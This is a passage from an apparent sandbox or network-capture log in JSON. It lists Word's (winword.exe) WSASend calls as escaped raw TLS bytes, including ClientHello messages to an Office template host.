  673. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xea(\\xf1d\\xd9\\xe9\\b\\x84z\\xa1\\xa8!\\x9d#\\xa2:\\xf01\\xfb\\x1fc\\x82\\xd1h@\\xb6\\x8b,\\x02\\xa4\\xbe\\xc3z\\xf2.\\x1cb\\x95\\x1e\\x84\\x8d\\x88\\x97\\xd5i\\xbe.\\xd1l\\xff\\x07\\xff\\x19\\xf2*|\\xefxq\\x96'\\xecm\\x81\\x01[=rt\\xbc\\x7f\\xf0;6\\xd8il\\xbd\\x96\\xe99;i^_\\xc9\\x8f\\x88\\xf2\\xdc\\xbc\\xeb\\xce\\xeb\\xe2g\tju\\xe32\\x8d\\x9d4\\xa8\\xf1z\\xad\\xab\\xc7\\xa6\\x1bo\\xa5$\\x10oss7\\xc1\\xcc|\\\\x1a\\xa9\\xd7\\x9a\\x1a\\x1ai\\xe20\\xce\\xcf\\xb4twg\\x1a\\xf5h\\xded\\xff\\x93m\\xc5\\x14\\xbd\\xca\\x8d\\xa6\\x03\\xd2\\xdcb\\x17\\x0e\\xe5\\x01`\\x85b\\xf9\\x9d[\\x0e\\xa4\\xda^p\\x0b\\x05m\\xed6\\xab\\x13\\x8b\\x91#q)\\x7f$x\\xf0\\xff\\x97\\xf1a\\x04el4\\x0b(a\\xdai\r,\\x0e\\x07\\\\xd7m\\xd4\\x10\\xbcd\\xde\\xc2\\xef\\xff?\\xfb\\xe1\\x1d1\\xc3\\x9e\\xa2\\xe8\\xd1\\xb9[g\\x12zf\\yz9\\x0f\\xffc\\x16\\xfdw\\x00\\xc4\\xe7\\xce\\x80\\x80\\xb3\\xb5"
  674. },
  675. {
  676. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010x\\x87\\xa1y\\x80\\xbai\\xf0\\xf0\\x1a\\x8b\\x96\\xcd*c\\xd2\\xa9\\x92\\xc5\\xf0\\xa2\\xe0\\x12\\xf1\\xb6\\xaf\\xe26\\xe9\\x00{\\xdc\\xf1\\xe9f\\xaa\\x9b\\xd5t\\xab\\xe0]\\x1d\\xfb\\x03\\xa8,ke\\xdaq\\x98h\\xf9c\\xee\\x17$\\xe67\\xe8\\xd2\\xc1 \\x99%\\x02<\\xe1\\xa1\\x81\\xa4\\xcb\\xc7\\xb1\\x89\\xc5\\x04\\x10i\\x9euw:6\\xad\\x16\\x91\\xcd38y0\\x1c\\xfb!\\xa7'og|\\x95\\xf0\\xb57\\xfb\\xc1\\xab\\x16q|\\xc3\\xfb\\xafj\\xc8\\xe2\\xa4\\x1e\\xc4n\\x0c\\x0f\\x06\\x99l\\xa6\\xc0\\x950\\xf0\\xe1\\x8e\\xbfd\\xac\\x15qv\\xd7\\xd6\\x13\\xfd n\\xa6/\\x80i\\xb2\\xd0[ol\\xb9p\\x90b\\xf8\\xf5\\xfc)\\xba\\xa4\t\\x1c\\x19\\x1c\\x00\\x9d\\xb2h\\xc7\\xfd\\xf0\\x82\\xbdq\\x84\\xee.\\x948\n\tw5qk)39\\x8b\\xfc\\xea\t\\x9ae\\x06o\\xad\\xd4\\x12\\xb0\\x03\\xbcr`u\\x97\\xaa3\\\\xd5\\x02\\x87'\\x84\\x94\\x0c\\x97\\x03\\x8b\\xfe\\x8e{\\x88\\xba\\x03\\x8c\\x1c\\x04\\xd9y\\x13ta\\xb6\\x84\\xd6\\xda\\xb6t\\xf8\\xd4\\x84\\x9c\\xa3\\x19\\xe3~"
  677. },
  678. {
  679. "http_request": "winword.exe_WSASend_\\xda\\x04\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xb9\\x93\\x92\\xa7\\xbd\\x10\\!\\xfaam\\xc4\\xfd\\x91\\xf3\\xae\\xe9\\x10\\xb5sa\\xa2\\xefw\\xf60\\x1c\\xa4yj\\xe9b3q&\\xf3\\x91q\\xa0@{\\xb0<\\x93\\xd4l\\x06\\xcacjf\\xb9\\xa6wg\\xdel\\x07{ir\\xc9\\xd3\\xac\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000#(' \\x1e\\xea\\x8f\\xdd#\\xd8\\xcf(\\x0e\\x1d\\xc4b]\\xa9>\\xb4\\xe3\\x11?tk\r\\xe0\\xc8\\xf8vm\\xe7\\xa5\\xba\\x9a\\xbc\\xb7\\x99\\xc7\\xb6\\x9fge\\xd0\\x0c\\xca\\x88\\x9d"
  680. },
  681. {
  682. "http_request": "winword.exe_WSASend_\\xda\\x04\\x01\\x00f\\x10\\x00\\x00ba\\x04\\x11lo\\x1e\\xb5\\xbf\\x03\\xe4\\xd7@\\x8b\\xf5d\\x92\\xec\\x91r\\x9fy\\x8d\\xa5\\x03\\x06\\xdf\\xf7,\\xb0\\xb0\\xd9\\x03\\xca\\x84\\xa6i(\\x02\\xc5\\xd6;2c\\x93\\x083\\xd1a&\\xa7\\xda\\xd8q\\xc4\\x8e\\xf9\\x9b}\\x1b\\xff\\xe0icn\\xf4\\x19\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\x1d\\xa1?n\\xeexg\\xac\\xe1/8\\xcd\\x1ae\\xfe9\\xf7g*e=)\\xef\\xf5\\x1eo\\xee]\\x10\\x8b\\xdf\\x08g\\xfa\\xd6{\\xc9\\x80`\\xe3\\xbb\\xacq\\xf0h\\x13\\xcd\\xe6"
  683. },
  684. {
  685. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xe8=\\xe1\\xfe\\xd21\tkq\\x14*\\xf6\\xa1\\xe4[\\xc3\\x93\\xf5\\xca$hk\\xda\\x10!\\xf7\\x18\\xb3\\xacy\\x8cm\\x05\\xd5\\x84\\xfd`c\r\\xa3\\x12\\xc5\\x06\\xf1k\\xcbvb\\x01eo\\xf4\\x01\\x0e\\x0f\\xb7\\x89\\xc3s[m\\xe4\\x7f^\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000j\\x89\\x84\\xd5\\x80\\xfaye\\x1c\\x1e\\xde\\xa8\\xf5\\xcb:6\\x8cod>\\x9d\\x147y\\xad\\xa9\\xdb\\xd1\\xdd\\x16\\xf7ma\\x82\\xe5\\xcf\\xbcru\\x8bx\\xd6\\x899\\xe5w\\x07]"
  686. },
  687. {
  688. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\x17\\xeez\\xcc\\x86\\xf0e0\\xe04\\xe7\\xfd^\\xf8\\xc5w+\\x95n\\xcd\\x94\\xdd \\xa5;\\x10\\xed\\x89\\x936\\xe6u\\x14c#y-\\x98\\x14fjnux\\xd3\\xb8\\xc6\\xb0\\x0b\\xb0\\x01v\\x91\\x96\\x89\\xd5\\xb0\\xed.\\xf2l\\xc5\\xf55\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\x82\\xe5\\x12\\xe3\\x8c\\xbe\\xc5\\x9ei\\xc3\\xa8\\xb7\\xd9\\x91)\\x8c\\x14\\x8d\\xaa\\x8c_\\x9bs\\xe9a$\\xcdt\\xde8\\xff\\xb8\\xbf\\x93\\xd1k\\xa9\\x8a\\xaamk\\x166\\x0b\\xd8\\x8a\\x18\\xbe"
  689. },
  690. {
  691. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\x82\\xa4\\x1e@\\xc2\\xc2e<\\xb8\\x0c\\xdfvv\\xbc>l\\x856\nv\\xbf\\xd7[\\xdb\\xa8\\xdb\\x8a\\xdbbd*\\xbf\\x03i\\x17c\\xcd\\xee\\xdag\\x13\\x03\\x0c\\x07\\xa2\\xc8c\\x9a\\xa9\\xc4xo \\xca\\xf1\\xe25z9\\xc4\\xbc\\xfc*\\xb8\\xa1g!\\xce-\\xbc\\x81\\xf0k0\\xcb\\xf6\\x11\\xd5g\\xa2\\x0c\\xc3rw1\\xb1\\xeb\\x82\\xb3\\x1d\\xc9@e\\xee\\xea\\xc4`s%\\x16\\x10\\xf3\\xbct\\xed\\x9aq\\xael\\x9ag\\xa7\\x96\\xddh3\\xe7\\x9b\\x844b\\xec\\xd4\\xbe\\xc1+n\\x83\\xdf\\xc9\\xfc\\x18\\xee\\xf1\\x03\\x85>z\\x9e\\xca\\x01\\xbc*\\xc46mj\\xa9\\xf8\\x1f\\x8ete\\x9b\\x98\\xf2\\x9f\\xc8\\x89/\\xa7\\xc5u\\x82\\x9dg\\xd2\\x96\\xa05kq\\x81c\\xffi0\\x027\\x81,\\xc6vv=8\\xbf\\xa6\\xf3\\xadr`;\\x0cf\\x9a&h\\x9e\\x08\\x0ee|)4@m\\x12\\x0c\\xa5\\xab\\xd9\\xbbv\\x0e\\x02\\x94xkg4\\xf7\\xda\\xff\\xfc\\xcfrwy\\x04\\x03\\xb4q\\x8e\\x89\\x16\\xda\\x11|_\\x88\\x89\\xc5\\x9c\\xa2ea\\xe3\\x9e\\xc4\\xf8"
  692. },
  693. {
  694. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\x04\"x\\xf1{\\xf8\\x92\\xb8\\xafk\\xfc\\xb2\\x10\\x1a\\xfd\\xf9\\x85\\xe1wm$%\\xf8\\xbc\\x8c\\xf7\\x15\\xe7\\x859%\\x1d\\xba\\xeat!x\\xbc\\x1bz\\xa0\\xbf\\x14\\x16\\xd8we\\xa9 \\x89\\x84\\x8c\\xed\\x94\\xa2\\xa50\\x0c\"1\\xb2\\x13\\x80?\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\x7f\\x08\\x8b\\x94\\x89\\xa2\\x87c\\xeb\\x1f\\xd2\\x0e\\xf0\\xfb%ou\\xe6\\xacw\\x1c\\xa7_*\\xb1\\x89#\\xd3\\xa7\\xba\\x08\\xf6\\xac\\xfc\\x1a\\xc2\\x183z\\xf7\\xa1+~xt\\xff\\xf0\\x91"
  695. },
  696. {
  697. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xdf\\x13(\\x82\\xbf@\\x04\\xb5\\x9f\\xac\\xc3\\xa2\\x0c\\xe5 \\xe2{\\xeb\\xc2\\x12\\xa1x\\xfafh\\xfax\\xa9\\xa6\\x18m\\x1e*\\xdf\\x1e\\xea?\\xa7\\x19i.\\x15\\x97\\xdfzn\\xc6\\xd7\\xc5f\\xc1\\xa2\\xb3\\xa3\"c\\xb4\"\\xd0\\xe8e&\\xd2\\xb3\\x80\\x8a\\xebu\\xee\\xcda\\x05\\x90\\x03/\\xa8\"\\xb9t[\\x82\\xc7\\xab,\\xd51\\xfc\\xf5:\\xb8m\\x1es hyy\\xfelmm\\xcf\\xf8i\\x8a_\\x7f\\xb5\\x01\\xcc\\x00\\xfe\\xa3j\\xa2\\xb4\\x93\\xd4\\{\\xa2x}zt\\x9da\\xd9\\xb7\\xcc\\xd5\\x19\\xe8\\x91\\xce)>\n\\xc5\\xd6\\x1d\\xd5\r\\x06\\xd6\\xd1\\x17\\xc8\\xee\\xdb\\x977d4rs\\xab\\xf8\\x99\\xb4\\xbb\\x0b\\x85\\x96\\x11\\x93a\\xb0\\xe6\\xa19h\\xe4\\xfdk\\xb4h^\\x0f\\xf3\r\\xacx&\\xf0=8\\x17\\xc6zr:o\\x95\\xa6\\xf8\\xef\\xa7\\xee\\xcc\\x13\\xee6\\xd9=\\xbd\\xb6\\x1f\\xe3\\x13\\xbc\\x9b\\x9d\\x81\\x11\\xe7l\\xf3x@\\x01\\xaa\\xe5\\x9d\\x94\\x9aw\\xb1s\\xe7|\\xa0>\\x88jt|\\xec\\x0e\\x8f\\xc8\\x8fb\\xde\\x13\\x16\\x01\\xd1\\x021u"
  698. },
  699. {
  700. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04,\r\\x8b\\x12\\x11$.b\\x18\\xab\\xd6@0\\xbf\\x8e\\xad\\x8e\\x90\\x96\\xe6\\xad\\xfdfrw\\xcb\\xb7\\xb0\\xe4\\xa8\\xc6\\x176c\\xee\\xcc\\xc0\\xac\\xd4\\x00t\\xff\\xe2\\xca\\x82x\\xb3\\xc4\\x87\\xf5a\\xb1f\\xa3n\\xc2e\\xbau\\x1d\\x95\\xfe>\\x92\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000h\\xa3\\xdf\\xf2\\x10o\\x91\\xdd\\x06_(\\x94\\x0eo\\xafq\\xd2b\\xa2\\x84\\xc4r\\xaf\\xbc\\xdfo\\xdfsmb\\x05\\xaa\\x94\\xc8r\\xd9\\x9c\\x1b\\xa6\\xdchll\\x18\\xe9\\x06\\xaa$"
  701. },
  702. {
  703. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xf5\\xa0\\x91w\\x96\\xbe\\x17bb\\xb6\\x90\\xe5\"\\x84\\xc4\\xda\\xf1t\\xce\\x9d\\x07\\xc4\\xd5\\xe6\\xe6<\\xac\\x96\\x92\\xb6\\xa4\\xd3\\xc1)5\"\\x95\\xe9\\xf4kga\\x8e\\x93\\xa8\\xddo\\x17\\xc7rn{%\\xd81x\\xd6\\xcf3\\xb6\\x04\\xb48\\x0f\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000gv\\x87i\\xd5\\xa0\\xa2x\\xc0m\\xda\\xc2`\\xe8e\\xdf*\\xd3=v\\xbe\\xfdh\\x15\\xe5\\x91#\\xdcz\\xe5'\\x18c\\xea\\xf3\\xdc\\x1e\\xfe\\xb9x\\xc21d\\x83\\xe9\\xe1\\xb0s"
  704. },
  705. {
  706. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x07\\xee\\xbc\\xa7\\x03m.\\x13c\\xff\\x99k;\\x869q\\x985\\xce\\xfa'\\xfd\\xf8?\\xcb\\x1a\\x939\\xbc=y\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  707. },
  708. {
  709. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x07\\xee\\xbc\\x08\\x15fh6\\x95k;b\\xd0\\x92t\\x05\\x8b\\x0f\\xd9|nb\\xf3>n6\\xd49\\x9f\\xe7\\xe1\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  710. },
  711. {
  712. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x07\\xee\\xbct\\xa2\r4\\x0e\\x88i\\x80\\xbe\\x1e\\xa0\\x89\\xc6\\x15\\x10\\x07\\xb9\\xa8\\xf0\\xdb\\xea\\xa8.\\xd2\\xcby\\x01\\xa9\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  713. },
  714. {
  715. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x07\\xee\\xbc\\x84\\xef\\xf7\\xba\\x0b\\x0f@\\xf9*._ bl\\x8b\\x07%,c\\xdcq\\xdb\\x9c\\xb9\\x8f\\x90\\xde\\xaf\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  716. },
  717. {
  718. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x07\\xee\\xbc\\xab\\{k\\xe9e\\xb0\\xfah\\xb4\\xfd\\x075\\x8a\\x0f\\x16m\\x16\\xa5\\x8bt\\xa3\\x10rde\\x87h\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  719. },
  720. {
  721. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x07\\xee\\xbc\\xb2\\x14<\\x9bl\\xf0\\x0bu\\xce\\xe9\\xc2\\x10u\\xff6\\x04\\xcc?\\x9a\\x1b\\xc8\\xb9\\xf6\\x1f^\\x8a*;\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  722. },
  723. {
  724. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x07\\xee\\xbc_\\xb4\\xd9o\\x9b\\xfdn<st\\x1e`\\xbf\\xed*g\\x0b&\\x85lga]\\xeci\\x91v\t\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  725. },
  726. {
  727. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x07\\xee\\xbc>\\x9c#3\\x897\\x19\\x12\\x8f\\xc4\\xad\\x84\\x85\\x82~\\xfai x\\xc1\n{\\x1a\\xf4\\xaa\\xf7/t\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  728. },
  729. {
  730. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x07\\xee\\xbc\\xe7\\x19r\\x11q\\x82z\\x1f^\\xfbo\\xe0\\x97u\\xe9\\xb3i\\xb8\\xe3\\x18ap\\xa9[\\x1fh\\xb5(\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  731. },
  732. {
  733. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x07\\xee\\xbce\\xca\\x16\\x8e\\x95\\x83\\xed\\xc7\\xc2?\\xd0k\\x7f\\xaf\\xc0\\xfem\\x94\\xbe\\xcf\\xec\\xd8\\x82\\xd0\\xe9n\\x0e\\xdb\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  734. },
  735. {
  736. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x07\\xee\\xbc\\xd2\\x92\\x0e4n\\xe4j/\\x0f:\\xae6yv\\xa0rg\\xdc\\x81x\\xc4y\\xde\\x8ffj\\xff\\x13\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  737. },
  738. {
  739. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x07\\xee\\xbc\\xc5\\x9bq\\xb9\\xd3ws\\x8cz\\x8f\\xe7\\xa2w\\xb7afcb\\x88m\\x87h\\x98\\x048\\xcf\\xfa\\x97\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  740. },
  741. {
  742. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x07\\xee\\xbcw\\xcal5\\xe0p\\x94x\\xe8grc\\xb8a\\x99\\xe4\\x96,\\x12\\x7f_n\\x95\t\\xa5\\xfb\\xb5\\x92\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  743. },
  744. {
  745. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x07\\xee\\xbct\\xce\\xab\\xf5^d5?\\xd8y\\xd031\\xc0{\\xf2\\x13\\xd1\\xc0?+\\xc89\\x11\\xa3\\xa9\\x94\\x86\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  746. },
  747. {
  748. "http_request": "winword.exe_WSASend_\\xc4\\x00/\\x000\\x9c\\xc1\\x0e\\xf6\\xb1\\xc5\"\\x95}>\\x0e\\xc2\\xee\\x84\\xa9\\xd4|(\\x91\\xc7x$(\\xb4td\\x8e\\x14xx\\x08\\x01o3i\\x7f\\x95\\xc8y\\xa0\\x88g\\xc7\\xd5d\\x0e\\x08\\x12t\\xc7\\xe0\\xd02\\x8b\\xed\\xcd\\x0f\\xf6\\xd7\\xe8z\\x1d\\x1c>\\xd5v\\xc0o\\xd5\\xedm\\xea\\xd2\\x8ai'\\xbc\\xed\\\\xf7\\xe47\\xf0l\\xad\\x81$]\\xd7\\xaf\\x91\\xc0\\xd0\\x08\\xef\\x890t\\xd9\\xbb\\xe6\\x19yv\\xc6\\x82h\\xd9\\ \\x18q\\xcclw\\x8c3m\\xe4\\xa1\\x89\\xce+\\x11\\xd5y\\xa3\\xf6\\xa6\\xae\\xce\\x00\\x8eg\\x9e\\x00\\xb1\r\\x89\\xa1\\xc7\\xbb\\xa3-\\x1c\\xee\\x93\\xc1\\x16e\\xb4\\x80\\x10/\\x00\\xb4\\xfb7\\x94?[\\xbfr%\\xc9\\x13a6\\x90v\\xcb\\xc09\\x9d\\xf2n\\xa49\\x03p\\xea\\xd7s\\x9cv\\xeb\\x1b\\xeb\\xc2\\xf1\\xa8\\xa6\\x06\\x95\\xc2\\xdd\\xeag\\xd0\t!\\x10\\x7fh\\x9e\\xbe\\x1a\\x97\\xed\\x05m\\x0e\\xfd\\x89i\\xbd\\xdc=9\\xdb[\\x0b\\x85\\xf0\\xcdn\\x1e.\\xaa\\x876\\x94?\\x87\\xb1\\xfc\\xf3\\xbd\\x14}\\x8f\\xbe\\x9bk\\x08-g\\xa2g\\xf8\\xd6"
  749. },
  750. {
  751. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xc3]q\r\\xc0\\xde^\\x1c\\xe5f\\xf8\\x1drw\\xfd\\x1f\\x95-<\\xf7\\xab\\x1e\\x8a\\x9b\\x10\\x10'\\xa7g\\x88m;ghj~im\\x8b5\\xa9]\\xd4c\\xf9\\x94\\xe7l\\xde$\\x16\\xd6\\xb2\\xa5\\xef\\x16\\xa4\\xad\\x8a\\xbe\\xad\\xe1\\xc5\\x9c\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\x96c\\xdbd\\xfb\\xc3\\x98l\\x9a\\xd8\\x9d>b\\xb6#\\xc9\\xdb\\xdd\\x1d\\xc6!\\xe7\\xfa\\xce\\xe1r\\xc0\\xe95\\x92\\xe6\\xb6]n\\xa9l;\\x1a\\xbc`\\xb1s\\xdc\\x07\\xa6\\x9a\\x96\\xd1"
  752. },
  753. {
  754. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xa2j\\x9f|\\x89+\\xfdx\\xec\\xb7\\x16y+k\\xaep\\xd1\\xb0\\x1b\\xac\\x11v\\x18\\x83\\xf6\\xba\\xe2\\xb7\\x8c\\x9cl1;ek\\x9b\\x91\\xa1\\xc1\\x98\\x17m\\xe3e$9\\xedn\\xd7\\\\xa4\\xf0\\xe9}\\xa9o\\x94z\\xcb\\x80\\x96\\xff\\xf2\\x84\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xfd\\x10\\x98\\xef\\x93\\xbc\\xf8\\x0bx\\xfbn#\\xf90b\\x1a\\xa1\\x96\\xff\\xeaej0\\x92\\xb5\\x8f\\x1f\\x87i\\xc3h\\x19\\xb6\\xc6\\xd5\\x8e\"z\\x8f\\xf3\\xff\\xb4\\xf7\\xb0\\xc7\\x84\\x04\\xd4"
  755. },
  756. {
  757. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\x93\\xf4\\xcc\\xdf\\xac\\xc1\\x825\\xd9\\xf2\\xb4~w\\x05\\x83\\x16\\xa1~\\\\x85j:h.<l\\xa1\\xf1\\x06t3`\\xc5\\xb0`\\x99%i\\x8a\\xd11\\xfd\\x90\\x02\\xd2\\xfb\\xfa\\xd8\\x91p\\x1c_\\xed\\`\\x19z>\\x11\\xe6\\x9e\\x95\\xc3\\xb2\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000]\\x85\\x83\\x86w\\x039/\\x0f\\x1cf\\x93o\\xb9i\\xfb9n\\x81\\xc2\\x93\\xdbb6\\x08a?\\x81\\x8co\\x04f>\"i\\xa3\\xd2\\x9f\\x8e0;\\xe8\\x8c#\\x04\\xe2\\x99\\xda"
  758. },
  759. {
